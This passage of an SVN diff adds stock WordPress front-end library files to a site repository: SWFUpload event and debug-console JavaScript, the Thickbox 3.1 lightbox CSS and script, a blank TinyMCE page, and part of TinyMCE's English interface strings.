+SWFUpload.prototype.unescapeFilePostParams = function (file) {
+	var reg = /[$]([0-9a-f]{4})/i;
+	var unescapedPost = {};
+	var uk;
+
+	if (file != undefined) {
+		for (var k in file.post) {
+			if (file.post.hasOwnProperty(k)) {
+				uk = k;
+				var match;
+				while ((match = reg.exec(uk)) !== null) {
+					uk = uk.replace(match[0], String.fromCharCode(parseInt("0x" + match[1], 16)));
+				}
+				unescapedPost[uk] = file.post[k];
+			}
+		}
+
+		file.post = unescapedPost;
+	}
+
+	return file;
+};
+
+// Private: Called by Flash to see if JS can call in to Flash (test if External Interface is working)
+SWFUpload.prototype.testExternalInterface = function () {
+	try {
+		return this.callFlash("TestExternalInterface");
+	} catch (ex) {
+		return false;
+	}
+};
+
+// Private: This event is called by Flash when it has finished loading. Don't modify this.
+// Use the swfupload_loaded_handler event setting to execute custom code when SWFUpload has loaded.
+SWFUpload.prototype.flashReady = function () {
+	// Check that the movie element is loaded correctly with its ExternalInterface methods defined
+	var movieElement = this.getMovieElement();
+
+	if (!movieElement) {
+		this.debug("Flash called back ready but the flash movie can't be found.");
+		return;
+	}
+
+	this.cleanUp(movieElement);
+	
+	this.queueEvent("swfupload_loaded_handler");
+};
+
+// Private: removes Flash added fuctions to the DOM node to prevent memory leaks in IE.
+// This function is called by Flash each time the ExternalInterface functions are created.
+SWFUpload.prototype.cleanUp = function (movieElement) {
+	// Pro-actively unhook all the Flash functions
+	try {
+		if (this.movieElement && typeof(movieElement.CallFunction) === "unknown") { // We only want to do this in IE
+			this.debug("Removing Flash functions hooks (this should only run in IE and should prevent memory leaks)");
+			for (var key in movieElement) {
+				try {
+					if (typeof(movieElement[key]) === "function") {
+						movieElement[key] = null;
+					}
+				} catch (ex) {
+				}
+			}
+		}
+	} catch (ex1) {
+	
+	}
+
+	// Fix Flashes own cleanup code so if the SWFMovie was removed from the page
+	// it doesn't display errors.
+	window["__flash__removeCallback"] = function (instance, name) {
+		try {
+			if (instance) {
+				instance[name] = null;
+			}
+		} catch (flashEx) {
+		
+		}
+	};
+
+};
+
+
+/* This is a chance to do something before the browse window opens */
+SWFUpload.prototype.fileDialogStart = function () {
+	this.queueEvent("file_dialog_start_handler");
+};
+
+
+/* Called when a file is successfully added to the queue. */
+SWFUpload.prototype.fileQueued = function (file) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("file_queued_handler", file);
+};
+
+
+/* Handle errors that occur when an attempt to queue a file fails. */
+SWFUpload.prototype.fileQueueError = function (file, errorCode, message) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("file_queue_error_handler", [file, errorCode, message]);
+};
+
+/* Called after the file dialog has closed and the selected files have been queued.
+	You could call startUpload here if you want the queued files to begin uploading immediately. */
+SWFUpload.prototype.fileDialogComplete = function (numFilesSelected, numFilesQueued, numFilesInQueue) {
+	this.queueEvent("file_dialog_complete_handler", [numFilesSelected, numFilesQueued, numFilesInQueue]);
+};
+
+SWFUpload.prototype.uploadStart = function (file) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("return_upload_start_handler", file);
+};
+
+SWFUpload.prototype.returnUploadStart = function (file) {
+	var returnValue;
+	if (typeof this.settings.upload_start_handler === "function") {
+		file = this.unescapeFilePostParams(file);
+		returnValue = this.settings.upload_start_handler.call(this, file);
+	} else if (this.settings.upload_start_handler != undefined) {
+		throw "upload_start_handler must be a function";
+	}
+
+	// Convert undefined to true so if nothing is returned from the upload_start_handler it is
+	// interpretted as 'true'.
+	if (returnValue === undefined) {
+		returnValue = true;
+	}
+	
+	returnValue = !!returnValue;
+	
+	this.callFlash("ReturnUploadStart", [returnValue]);
+};
+
+
+
+SWFUpload.prototype.uploadProgress = function (file, bytesComplete, bytesTotal) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_progress_handler", [file, bytesComplete, bytesTotal]);
+};
+
+SWFUpload.prototype.uploadError = function (file, errorCode, message) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_error_handler", [file, errorCode, message]);
+};
+
+SWFUpload.prototype.uploadSuccess = function (file, serverData, responseReceived) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_success_handler", [file, serverData, responseReceived]);
+};
+
+SWFUpload.prototype.uploadComplete = function (file) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_complete_handler", file);
+};
+
+/* Called by SWFUpload JavaScript and Flash functions when debug is enabled. By default it writes messages to the
+   internal debug console.  You can override this event and have messages written where you want. */
+SWFUpload.prototype.debug = function (message) {
+	this.queueEvent("debug_handler", message);
+};
+
+
+/* **********************************
+	Debug Console
+	The debug console is a self contained, in page location
+	for debug message to be sent.  The Debug Console adds
+	itself to the body if necessary.
+
+	The console is automatically scrolled as messages appear.
+	
+	If you are using your own debug handler or when you deploy to production and
+	have debug disabled you can remove these functions to reduce the file size
+	and complexity.
+********************************** */
+   
+// Private: debugMessage is the default debug_handler.  If you want to print debug messages
+// call the debug() function.  When overriding the function your own function should
+// check to see if the debug setting is true before outputting debug information.
+SWFUpload.prototype.debugMessage = function (message) {
+	if (this.settings.debug) {
+		var exceptionMessage, exceptionValues = [];
+
+		// Check for an exception object and print it nicely
+		if (typeof message === "object" && typeof message.name === "string" && typeof message.message === "string") {
+			for (var key in message) {
+				if (message.hasOwnProperty(key)) {
+					exceptionValues.push(key + ": " + message[key]);
+				}
+			}
+			exceptionMessage = exceptionValues.join("\n") || "";
+			exceptionValues = exceptionMessage.split("\n");
+			exceptionMessage = "EXCEPTION: " + exceptionValues.join("\nEXCEPTION: ");
+			SWFUpload.Console.writeLine(exceptionMessage);
+		} else {
+			SWFUpload.Console.writeLine(message);
+		}
+	}
+};
+
+SWFUpload.Console = {};
+SWFUpload.Console.writeLine = function (message) {
+	var console, documentForm;
+
+	try {
+		console = document.getElementById("SWFUpload_Console");
+
+		if (!console) {
+			documentForm = document.createElement("form");
+			document.getElementsByTagName("body")[0].appendChild(documentForm);
+
+			console = document.createElement("textarea");
+			console.id = "SWFUpload_Console";
+			console.style.fontFamily = "monospace";
+			console.setAttribute("wrap", "off");
+			console.wrap = "off";
+			console.style.overflow = "auto";
+			console.style.width = "700px";
+			console.style.height = "350px";
+			console.style.margin = "5px";
+			documentForm.appendChild(console);
+		}
+
+		console.value += message + "\n";
+
+		console.scrollTop = console.scrollHeight - console.clientHeight;
+	} catch (ex) {
+		alert("Exception: " + ex.name + " Message: " + ex.message);
+	}
+};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/thickbox/thickbox.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/thickbox/thickbox.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/thickbox/thickbox.css	(revision 44)
@@ -0,0 +1,162 @@
+
+/* ----------------------------------------------------------------------------------------------------------------*/
+/* ---------->>> thickbox specific link and font settings <<<------------------------------------------------------*/
+/* ----------------------------------------------------------------------------------------------------------------*/
+#TB_window {
+	font: 12px "Lucida Grande", Verdana, Arial, sans-serif;
+	color: #333333;
+}
+
+#TB_secondLine {
+	font: 10px "Lucida Grande", Verdana, Arial, sans-serif;
+	color:#666666;
+}
+
+#TB_window a:link {color: #666666;}
+#TB_window a:visited {color: #666666;}
+#TB_window a:hover {color: #000;}
+#TB_window a:active {color: #666666;}
+#TB_window a:focus{color: #666666;}
+
+/* ----------------------------------------------------------------------------------------------------------------*/
+/* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/
+/* ----------------------------------------------------------------------------------------------------------------*/
+#TB_overlay {
+	position: fixed;
+	z-index:100;
+	top: 0px;
+	left: 0px;
+	height:100%;
+	width:100%;
+}
+
+.TB_overlayMacFFBGHack {background: url(macFFBgHack.png) repeat;}
+.TB_overlayBG {
+	background-color:#000;
+	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=75)";
+	filter:alpha(opacity=75);
+	-moz-opacity: 0.75;
+	opacity: 0.75;
+}
+
+* html #TB_overlay { /* ie6 hack */
+     position: absolute;
+     height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
+
+#TB_window {
+	position: fixed;
+	background: #ffffff;
+	z-index: 102;
+	color:#000000;
+	display:none;
+	text-align:left;
+	top:50%;
+	left:50%;
+	border: 1px solid #555;
+	-moz-box-shadow: rgba(0,0,0,1) 0 4px 30px;
+	-webkit-box-shadow: rgba(0,0,0,1) 0 4px 30px;
+	-khtml-box-shadow: rgba(0,0,0,1) 0 4px 30px;
+	box-shadow: rgba(0,0,0,1) 0 4px 30px;
+}
+
+* html #TB_window { /* ie6 hack */
+position: absolute;
+margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_window img#TB_Image {
+	display:block;
+	margin: 15px 0 0 15px;
+	border-right: 1px solid #ccc;
+	border-bottom: 1px solid #ccc;
+	border-top: 1px solid #666;
+	border-left: 1px solid #666;
+}
+
+#TB_caption{
+	height:25px;
+	padding:7px 30px 10px 25px;
+	float:left;
+}
+
+#TB_closeWindow{
+	height:25px;
+	padding:11px 25px 10px 0;
+	float:right;
+}
+
+#TB_closeAjaxWindow{
+	padding:6px 10px 0;
+	text-align:right;
+	float:right;
+}
+
+#TB_ajaxWindowTitle{
+	float:left;
+	padding:6px 10px 0;
+}
+
+#TB_title{
+	background-color:#e8e8e8;
+	height:27px;
+}
+
+#TB_ajaxContent{
+	clear:both;
+	padding:2px 15px 15px 15px;
+	overflow:auto;
+	text-align:left;
+	line-height:1.4em;
+}
+
+#TB_ajaxContent.TB_modal{
+	padding:15px;
+}
+
+#TB_ajaxContent p{
+	padding:5px 0px 5px 0px;
+}
+
+#TB_load{
+	position: fixed;
+	display:none;
+	z-index:103;
+	top: 50%;
+	left: 50%;
+	background-color: #E8E8E8;
+	border: 1px solid #555;
+	margin: -45px 0pt 0pt -125px;
+	padding: 40px 15px 15px;
+}
+
+* html #TB_load { /* ie6 hack */
+position: absolute;
+margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_HideSelect{
+	z-index:99;
+	position:fixed;
+	top: 0;
+	left: 0;
+	background-color:#fff;
+	border:none;
+	filter:alpha(opacity=0);
+	-moz-opacity: 0;
+	opacity: 0;
+	height:100%;
+	width:100%;
+}
+
+* html #TB_HideSelect { /* ie6 hack */
+     position: absolute;
+     height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
+
+#TB_iframeContent{
+	clear:both;
+	border:none;
+	margin-bottom:-1px;
+	_margin-bottom:1px;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/thickbox/thickbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/thickbox/thickbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/thickbox/thickbox.js	(revision 44)
@@ -0,0 +1,321 @@
+/*
+ * Thickbox 3.1 - One Box To Rule Them All.
+ * By Cody Lindley (http://www.codylindley.com)
+ * Copyright (c) 2007 cody lindley
+ * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
+*/
+		  
+var tb_pathToImage = "../wp-includes/js/thickbox/loadingAnimation.gif";
+var tb_closeImage = "../wp-includes/js/thickbox/tb-close.png";
+
+/*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/
+
+//on page load call tb_init
+jQuery(document).ready(function(){   
+	tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox
+	imgLoader = new Image();// preload image
+	imgLoader.src = tb_pathToImage;
+});
+
+//add thickbox to href & area elements that have a class of .thickbox
+function tb_init(domChunk){
+	jQuery(domChunk).click(function(){
+	var t = this.title || this.name || null;
+	var a = this.href || this.alt;
+	var g = this.rel || false;
+	tb_show(t,a,g);
+	this.blur();
+	return false;
+	});
+}
+
+function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link
+
+	try {
+		if (typeof document.body.style.maxHeight === "undefined") {//if IE 6
+			jQuery("body","html").css({height: "100%", width: "100%"});
+			jQuery("html").css("overflow","hidden");
+			if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6
+				jQuery("body").append("<iframe id='TB_HideSelect'></iframe><div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}else{//all others
+			if(document.getElementById("TB_overlay") === null){
+				jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}
+		
+		if(tb_detectMacXFF()){
+			jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash
+		}else{
+			jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity
+		}
+		
+		if(caption===null){caption="";}
+		jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' /></div>");//add loader to the page
+		jQuery('#TB_load').show();//show loader
+		
+		var baseURL;
+	   if(url.indexOf("?")!==-1){ //ff there is a query string involved
+			baseURL = url.substr(0, url.indexOf("?"));
+	   }else{ 
+	   		baseURL = url;
+	   }
+	   
+	   var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/;
+	   var urlType = baseURL.toLowerCase().match(urlString);
+
+		if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images
+				
+			TB_PrevCaption = "";
+			TB_PrevURL = "";
+			TB_PrevHTML = "";
+			TB_NextCaption = "";
+			TB_NextURL = "";
+			TB_NextHTML = "";
+			TB_imageCount = "";
+			TB_FoundURL = false;
+			if(imageGroup){
+				TB_TempArray = jQuery("a[rel="+imageGroup+"]").get();
+				for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) {
+					var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
+						if (!(TB_TempArray[TB_Counter].href == url)) {						
+							if (TB_FoundURL) {
+								TB_NextCaption = TB_TempArray[TB_Counter].title;
+								TB_NextURL = TB_TempArray[TB_Counter].href;
+								TB_NextHTML = "<span id='TB_next'>&nbsp;&nbsp;<a href='#'>Next &gt;</a></span>";
+							} else {
+								TB_PrevCaption = TB_TempArray[TB_Counter].title;
+								TB_PrevURL = TB_TempArray[TB_Counter].href;
+								TB_PrevHTML = "<span id='TB_prev'>&nbsp;&nbsp;<a href='#'>&lt; Prev</a></span>";
+							}
+						} else {
+							TB_FoundURL = true;
+							TB_imageCount = "Image " + (TB_Counter + 1) +" of "+ (TB_TempArray.length);											
+						}
+				}
+			}
+
+			imgPreloader = new Image();
+			imgPreloader.onload = function(){		
+			imgPreloader.onload = null;
+				
+			// Resizing large images - orginal by Christian Montoya edited by me.
+			var pagesize = tb_getPageSize();
+			var x = pagesize[0] - 150;
+			var y = pagesize[1] - 150;
+			var imageWidth = imgPreloader.width;
+			var imageHeight = imgPreloader.height;
+			if (imageWidth > x) {
+				imageHeight = imageHeight * (x / imageWidth); 
+				imageWidth = x; 
+				if (imageHeight > y) { 
+					imageWidth = imageWidth * (y / imageHeight); 
+					imageHeight = y; 
+				}
+			} else if (imageHeight > y) { 
+				imageWidth = imageWidth * (y / imageHeight); 
+				imageHeight = y; 
+				if (imageWidth > x) { 
+					imageHeight = imageHeight * (x / imageWidth); 
+					imageWidth = x;
+				}
+			}
+			// End Resizing
+			
+			TB_WIDTH = imageWidth + 30;
+			TB_HEIGHT = imageHeight + 60;
+			jQuery("#TB_window").append("<a href='' id='TB_ImageOff' title='Close'><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><a href='#' id='TB_closeWindowButton' title='Close'><img src='" + tb_closeImage + "' /></a></div>"); 		
+			
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+			
+			if (!(TB_PrevHTML === "")) {
+				function goPrev(){
+					if(jQuery(document).unbind("click",goPrev)){jQuery(document).unbind("click",goPrev);}
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_PrevCaption, TB_PrevURL, imageGroup);
+					return false;	
+				}
+				jQuery("#TB_prev").click(goPrev);
+			}
+			
+			if (!(TB_NextHTML === "")) {		
+				function goNext(){
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_NextCaption, TB_NextURL, imageGroup);				
+					return false;	
+				}
+				jQuery("#TB_next").click(goNext);
+				
+			}
+
+			document.onkeydown = function(e){ 	
+				if (e == null) { // ie
+					keycode = event.keyCode;
+				} else { // mozilla
+					keycode = e.which;
+				}
+				if(keycode == 27){ // close
+					tb_remove();
+				} else if(keycode == 190){ // display previous image
+					if(!(TB_NextHTML == "")){
+						document.onkeydown = "";
+						goNext();
+					}
+				} else if(keycode == 188){ // display next image
+					if(!(TB_PrevHTML == "")){
+						document.onkeydown = "";
+						goPrev();
+					}
+				}	
+			};
+			
+			tb_position();
+			jQuery("#TB_load").remove();
+			jQuery("#TB_ImageOff").click(tb_remove);
+			jQuery("#TB_window").css({display:"block"}); //for safari using css instead of show
+			};
+			
+			imgPreloader.src = url;
+		}else{//code to show html
+			
+			var queryString = url.replace(/^[^\?]+\??/,'');
+			var params = tb_parseQuery( queryString );
+
+			TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no paramaters were added to URL
+			TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no paramaters were added to URL
+			ajaxContentW = TB_WIDTH - 30;
+			ajaxContentH = TB_HEIGHT - 45;
+			
+			if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window		
+					urlNoQuery = url.split('TB_');
+					jQuery("#TB_iframeContent").remove();
+					if(params['modal'] != "true"){//iframe no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'><img src='" + tb_closeImage + "' /></a></div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' > </iframe>");
+					}else{//iframe modal
+					jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'> </iframe>");
+					}
+			}else{// not an iframe, ajax
+					if(jQuery("#TB_window").css("display") != "block"){
+						if(params['modal'] != "true"){//ajax no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'><img src='" + tb_closeImage + "' /></a></div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>");
+						}else{//ajax modal
+						jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");	
+						}
+					}else{//this means the window is already up, we are just loading new content via ajax
+						jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px";
+						jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px";
+						jQuery("#TB_ajaxContent")[0].scrollTop = 0;
+						jQuery("#TB_ajaxWindowTitle").html(caption);
+					}
+			}
+					
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+			
+				if(url.indexOf('TB_inline') != -1){	
+					jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children());
+					jQuery("#TB_window").unload(function () {
+						jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished
+					});
+					tb_position();
+					jQuery("#TB_load").remove();
+					jQuery("#TB_window").css({display:"block"}); 
+				}else if(url.indexOf('TB_iframe') != -1){
+					tb_position();
+					if($.browser.safari){//safari needs help because it will not fire iframe onload
+						jQuery("#TB_load").remove();
+						jQuery("#TB_window").css({display:"block"});
+					}
+				}else{
+					jQuery("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method
+						tb_position();
+						jQuery("#TB_load").remove();
+						tb_init("#TB_ajaxContent a.thickbox");
+						jQuery("#TB_window").css({display:"block"});
+					});
+				}
+			
+		}
+
+		if(!params['modal']){
+			document.onkeyup = function(e){ 	
+				if (e == null) { // ie
+					keycode = event.keyCode;
+				} else { // mozilla
+					keycode = e.which;
+				}
+				if(keycode == 27){ // close
+					tb_remove();
+				}	
+			};
+		}
+		
+	} catch(e) {
+		//nothing here
+	}
+}
+
+//helper functions below
+function tb_showIframe(){
+	jQuery("#TB_load").remove();
+	jQuery("#TB_window").css({display:"block"});
+}
+
+function tb_remove() {
+ 	jQuery("#TB_imageOff").unbind("click");
+	jQuery("#TB_closeWindowButton").unbind("click");
+	jQuery("#TB_window").fadeOut("fast",function(){jQuery('#TB_window,#TB_overlay,#TB_HideSelect').trigger("unload").unbind().remove();});
+	jQuery("#TB_load").remove();
+	if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
+		jQuery("body","html").css({height: "auto", width: "auto"});
+		jQuery("html").css("overflow","");
+	}
+	document.onkeydown = "";
+	document.onkeyup = "";
+	return false;
+}
+
+function tb_position() {
+var isIE6 = typeof document.body.style.maxHeight === "undefined";
+jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'});
+	if ( ! isIE6 ) { // take away IE6
+		jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'});
+	}
+}
+
+function tb_parseQuery ( query ) {
+   var Params = {};
+   if ( ! query ) {return Params;}// return empty object
+   var Pairs = query.split(/[;&]/);
+   for ( var i = 0; i < Pairs.length; i++ ) {
+      var KeyVal = Pairs[i].split('=');
+      if ( ! KeyVal || KeyVal.length != 2 ) {continue;}
+      var key = unescape( KeyVal[0] );
+      var val = unescape( KeyVal[1] );
+      val = val.replace(/\+/g, ' ');
+      Params[key] = val;
+   }
+   return Params;
+}
+
+function tb_getPageSize(){
+	var de = document.documentElement;
+	var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
+	var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight;
+	arrayPageSize = [w,h];
+	return arrayPageSize;
+}
+
+function tb_detectMacXFF() {
+  var userAgent = navigator.userAgent.toLowerCase();
+  if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) {
+    return true;
+  }
+}
+
+
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/blank.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/blank.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/blank.htm	(revision 44)
@@ -0,0 +1,9 @@
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>blank_page</title>
+</head>
+<body class="mceContentBody">
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/langs/wp-langs-en.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/langs/wp-langs-en.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/langs/wp-langs-en.js	(revision 44)
@@ -0,0 +1,431 @@
+tinyMCE.addI18n({en:{
+common:{
+edit_confirm:"Do you want to use the WYSIWYG mode for this textarea?",
+apply:"Apply",
+insert:"Insert",
+update:"Update",
+cancel:"Cancel",
+close:"Close",
+browse:"Browse",
+class_name:"Class",
+not_set:"-- Not set --",
+clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.",
+clipboard_no_support:"Currently not supported by your browser, use keyboard shortcuts instead.",
+popup_blocked:"Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.",
+invalid_data:"Error: Invalid values entered, these are marked in red.",
+more_colors:"More colors"
+},
+contextmenu:{
+align:"Alignment",
+left:"Left",
+center:"Center",
+right:"Right",
+full:"Full"
+},
+insertdatetime:{
+date_fmt:"%Y-%m-%d",
+time_fmt:"%H:%M:%S",
+insertdate_desc:"Insert date",
+inserttime_desc:"Insert time",
+months_long:"January,February,March,April,May,June,July,August,September,October,November,December",
+months_short:"Jan_January_abbreviation,Feb_February_abbreviation,Mar_March_abbreviation,Apr_April_abbreviation,May_May_abbreviation,Jun_June_abbreviation,Jul_July_abbreviation,Aug_August_abbreviation,Sep_September_abbreviation,Oct_October_abbreviation,Nov_November_abbreviation,Dec_December_abbreviation",
+day_long:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday",
+day_short:"Sun,Mon,Tue,Wed,Thu,Fri,Sat"
+},
+print:{
+print_desc:"Print"
+},
+preview:{
+preview_desc:"Preview"
+},
+directionality:{
+ltr_desc:"Direction left to right",
+rtl_desc:"Direction right to left"
+},
+layer:{
+insertlayer_desc:"Insert new layer",
+forward_desc:"Move forward",
+backward_desc:"Move backward",
+absolute_desc:"Toggle absolute positioning",
+content:"New layer..."
+},
+save:{
+save_desc:"Save",
+cancel_desc:"Cancel all changes"
+},
+nonbreaking:{
+nonbreaking_desc:"Insert non-breaking space character"
+},
+iespell:{
+iespell_desc:"Run spell checking",
+download:"ieSpell not detected. Do you want to install it now?"
+},
+advhr:{
+advhr_desc:"Horizontale rule"
+},
+emotions:{
+emotions_desc:"Emotions"
+},
+searchreplace:{
+search_desc:"Find",
+replace_desc:"Find/Replace"
+},
+advimage:{
+image_desc:"Insert/edit image"
+},
+advlink:{
+link_desc:"Insert/edit link"
+},
+xhtmlxtras:{
+cite_desc:"Citation",
+abbr_desc:"Abbreviation",
+acronym_desc:"Acronym",
+del_desc:"Deletion",
+ins_desc:"Insertion",
+attribs_desc:"Insert/Edit Attributes"
+},
+style:{
+desc:"Edit CSS Style"
+},
+paste:{
+paste_text_desc:"Paste as Plain Text",
+paste_word_desc:"Paste from Word",
+selectall_desc:"Select All"
+},
+paste_dlg:{
+text_title:"Use CTRL+V on your keyboard to paste the text into the window.",
+text_linebreaks:"Keep linebreaks",
+word_title:"Use CTRL+V on your keyboard to paste the text into the window."
+},
+table:{
+desc:"Inserts a new table",
+row_before_desc:"Insert row before",
+row_after_desc:"Insert row after",
+delete_row_desc:"Delete row",
+col_before_desc:"Insert column before",
+col_after_desc:"Insert column after",
+delete_col_desc:"Remove column",
+split_cells_desc:"Split merged table cells",
+merge_cells_desc:"Merge table cells",
+row_desc:"Table row properties",
+cell_desc:"Table cell properties",
+props_desc:"Table properties",
+paste_row_before_desc:"Paste table row before",
+paste_row_after_desc:"Paste table row after",
+cut_row_desc:"Cut table row",
+copy_row_desc:"Copy table row",
+del:"Delete table",
+row:"Row",
+col:"Column",
+cell:"Cell"
+},
+autosave:{
+unload_msg:"The changes you made will be lost if you navigate away from this page."
+},
+fullscreen:{
+desc:"Toggle fullscreen mode (Alt+Shift+G)"
+},
+media:{
+desc:"Insert / edit embedded media",
+delta_width:"0",
+delta_height:"0",
+edit:"Edit embedded media"
+},
+fullpage:{
+desc:"Document properties"
+},
+template:{
+desc:"Insert predefined template content"
+},
+visualchars:{
+desc:"Visual control characters on/off."
+},
+spellchecker:{
+desc:"Toggle spellchecker (Alt+Shift+N)",
+menu:"Spellchecker settings",
+ignore_word:"Ignore word",
+ignore_words:"Ignore all",
+langs:"Languages",
+wait:"Please wait...",
+sug:"Suggestions",
+no_sug:"No suggestions",
+no_mpell:"No misspellings found."
+},
+pagebreak:{
+desc:"Insert page break."
+}}});
+
+tinyMCE.addI18n("en.advanced",{
+style_select:"Styles",
+font_size:"Font size",
+fontdefault:"Font family",
+block:"Format",
+paragraph:"Paragraph",
+div:"Div",
+address:"Address",
+pre:"Preformatted",
+h1:"Heading 1",
+h2:"Heading 2",
+h3:"Heading 3",
+h4:"Heading 4",
+h5:"Heading 5",
+h6:"Heading 6",
+blockquote:"Blockquote",
+code:"Code",
+samp:"Code sample",
+dt:"Definition term ",
+dd:"Definition description",
+bold_desc:"Bold (Ctrl / Alt+Shift + B)",
+italic_desc:"Italic (Ctrl / Alt+Shift + I)",
+underline_desc:"Underline",
+striketrough_desc:"Strikethrough (Alt+Shift+D)",
+justifyleft_desc:"Align left (Alt+Shift+L)",
+justifycenter_desc:"Align center (Alt+Shift+C)",
+justifyright_desc:"Align right (Alt+Shift+R)",
+justifyfull_desc:"Align full (Alt+Shift+J)",
+bullist_desc:"Unordered list (Alt+Shift+U)",
+numlist_desc:"Ordered list (Alt+Shift+O)",
+outdent_desc:"Outdent",
+indent_desc:"Indent",
+undo_desc:"Undo (Ctrl+Z)",
+redo_desc:"Redo (Ctrl+Y)",
+link_desc:"Insert/edit link (Alt+Shift+A)",
+link_delta_width:"0",
+link_delta_height:"0",
+unlink_desc:"Unlink (Alt+Shift+S)",
+image_desc:"Insert/edit image (Alt+Shift+M)",
+image_delta_width:"0",
+image_delta_height:"0",
+cleanup_desc:"Cleanup messy code",
